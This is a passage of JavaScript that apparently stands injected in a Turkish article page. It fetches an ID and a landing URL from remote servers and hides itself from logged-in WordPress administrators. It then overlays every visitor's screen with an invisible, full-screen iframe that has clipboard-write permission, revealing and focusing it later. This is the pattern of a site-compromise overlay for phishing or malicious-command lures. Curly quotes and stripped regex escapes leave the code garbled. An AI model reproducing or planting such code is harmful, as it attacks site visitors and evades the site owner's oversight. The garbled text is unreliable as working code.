var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

Bu Makaleyi Paylaş